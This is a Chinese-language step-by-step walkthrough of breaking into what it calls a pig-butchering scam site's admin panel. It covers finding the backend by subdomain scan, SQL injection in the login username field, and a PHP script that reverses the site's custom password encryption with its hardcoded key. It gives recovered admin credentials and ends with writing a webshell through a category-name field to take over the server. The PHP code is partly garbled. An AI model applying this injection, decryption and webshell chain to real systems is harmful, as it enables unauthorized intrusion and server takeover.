1、首先访问杀猪盘主站。
2、通过扫描子域名找到后台管理系统。
3、对其后台的登录接口进行测试,发现接口的用户名参数存在sql注入,直接跑数据。
4、注入得到后台的账密如下,用户名和safecode是明文的,password使用自定义加密。
跑出来了账号密码结果是加密了的 admin | MDAwMDAwMDAwML6hd86RutB6h6qXbQ | 555888 后来在网上找到了这个网站的源码,加密方式如下:
‘ : $key);
$data = base64_encode($data);
$x = 0;
$len = strlen($data);
$l = strlen($key);
$char = ”;
for ($i = 0; $i < $len; $i++) {
if ($x == $l) $x = 0;
$char .= substr($key, $x, 1);
$x++;
}
$str = sprintf(‘%010d’, $expire ? $expire + time():0);
for ($i = 0; $i < $len; $i++) {
$str .= chr(ord(substr($data, $i, 1)) + (ord(substr($char, $i,
1)))%256);
}
return str_replace(array(‘+’,’/’,’=’),array(‘-‘,’_’,”),base64_enco
de($str));
}
function decrypt($data, $key = ”){
$key = md5(empty($key) ? ‘w%!)+bj$&sGX(Lp4Y@v;l#Q:i7c{MWOT-|AP”}
gB’ : $key);
$data = str_replace(array(‘-‘,’_’),array(‘+’,’/’),$data);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr(‘====’, $mod4);
}
$data = base64_decode($data);
$expire = substr($data,0,10);
$data = substr($data,10);
if($expire > 0 && $expire < time()) {
return ”;
}
$x = 0;
$len = strlen($data);
$l = strlen($key);
$char = $str = ”;
for ($i = 0; $i < $len; $i++) {
if ($x == $l) $x = 0;
$char .= substr($key, $x, 1);
$x++;
}
for ($i = 0; $i < $len; $i++) {
if (ord(substr($data, $i, 1))<ord(substr($char, $i, 1))) {
$str .= chr((ord(substr($data, $i, 1)) + 256) – ord(substr
($char, $i, 1)));
}else{
$str .= chr(ord(substr($data, $i, 1)) – ord(substr($char,
$i, 1)));
}
}
return base64_decode($str);
}
echo encrypt($data);
编写解密脚本:
<?php
$password=’MDAwMDAwMDAwML6hd86RutB6h6qXbQ’;
function decrypt($data, $key = ”){
$key = md5(”);
$data = str_replace(array(‘-‘,’_’),array(‘+’,’/’),$data);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr(‘====’, $mod4);
}
$data = base64_decode($data);
$expire = substr($data,0,10);
$data = substr($data,10);
if($expire > 0 && $expire < time()) {
return ”;
}
$x = 0;
$len = strlen($data);
$l = strlen($key);
$char = $str = ”;
for ($i = 0; $i < $len; $i++) {
if ($x == $l) $x = 0;
$char .= substr($key, $x, 1);
$x++;
}
for ($i = 0; $i < $len; $i++) {
if (ord(substr($data, $i, 1))<ord(substr($char, $i, 1))) {
$str .= chr((ord(substr($data, $i, 1)) + 256) – ord(substr
($char, $i, 1)));
}else{
$str .= chr(ord(substr($data, $i, 1)) – ord(substr($char,
$i, 1)));
}
}
echo base64_decode($str);
}
echo decrypt($password);
?>
admin 的密码为 facai@88
5、使用admin/facai@88/555888 成功登录到后台。
6、然后通过对源代码进行分析,源码中的 \app\Home\Controller\NewsController.class.php 这个文件通过这个调⽤F()函数⽣ 成了/Runtime/Data/catelist.php/catelist.php⽂件 相当于就是通过在后台资讯栏⽬中栏目名称写入我们的 webshell,然后再去前台 进⾏注册,注册好后点击你修改的上级栏⽬,即可触发的函数,写⼊⽊⻢。
7、然后我们去访问前台的帮助指南
8、这个时候我们写入的 php 代码就写入了 Runtime/Data/catelist.php。
9、最后访问 ssRuntime/Data/catelist.php 就会生成 Runtime/Data/a.php 这个木马文件。
10、连接上传的webshell,拿下目标。